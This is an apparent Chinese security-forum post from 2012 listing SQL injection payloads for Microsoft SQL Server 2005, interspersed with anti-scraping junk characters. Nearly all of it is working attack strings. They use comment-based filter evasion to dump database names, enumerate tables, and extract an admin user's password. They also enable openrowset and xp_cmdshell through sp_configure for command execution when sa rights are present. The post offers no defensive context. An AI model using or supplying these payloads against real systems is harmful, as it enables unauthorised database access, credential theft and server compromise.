找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2382|回复: 0
打印 上一主题 下一主题

MSsql2005注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:19:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
; G5 y2 D5 v, i

5 \$ P& ]0 s6 |2 o4 V" N5 Y" t8 k2 [% b$ I2 A  [9 P8 W2 ~
[Copy to clipboard]CODE:
6 }$ I# P( n  N# ^; U- V/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--9 J2 r+ @1 I0 {

3 ?/ N" n: V( V  p# X爆表语句,somedb部份是所要列的数据库,红色数字1累加
' P/ @: Y, G( S, Q$ C" ]
' \7 ^# H* W! S4 ^3 q) r! `. B( X
[Copy to clipboard]CODE:* z  \5 e/ F9 S/ Q' {
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
$ I* ~' @9 p$ j$ C% D
+ }/ D: f6 i8 r1 w爆字段语句,爆表admin里user='icerover'的密码段
! p8 J/ E7 ^+ G0 A9 L6 J- G" L5 N. P+ ~. g! b. h
7 d6 g1 e9 x& j
[Copy to clipboard]CODE:
2 W& t: a  Q% G  f**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--7 {9 V/ J7 }% F6 m
- N  j0 l) l# F# S
mssql2005默认没有开xp_cmdshell的,openrowset也不能用
2 x  z1 F- M( |2 |8 b. G6 x& h如果是sa权限,可以这样来开启! s: C0 S. Y8 z- m, ~; C: ?' I
开启openrowset: k! h/ Y$ L* b8 w$ y
/ ?! d% }* |  x, ^0 F: h! q

2 ?$ P8 M8 V, {3 h& a! d# }[Copy to clipboard]CODE:5 t7 Z, t' X4 O( X9 l0 H8 Y% R
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--% J1 T3 e9 W3 N4 |  Q( O- W
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--5 i+ S1 d% W' `$ q4 s5 g: d8 B1 f
  ]' U! T+ V  M4 h( U
开启xp_cmdshell" p2 U% t' u. l: q

, y( I3 U; E. ?  a
% p- m7 s1 A1 C9 {[Copy to clipboard]CODE:
  Q: I: ~6 b6 I; N: V6 KEXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--5 `5 {( U3 Z  a3 r# \  d
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--% Y1 X/ ^0 J) Q% X+ a4 U" F
! P" y, L7 P' P- |8 x" c" [- D: t
ok,over~~晚安
8 h* W( ~5 g6 g, I  E" g: b" n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表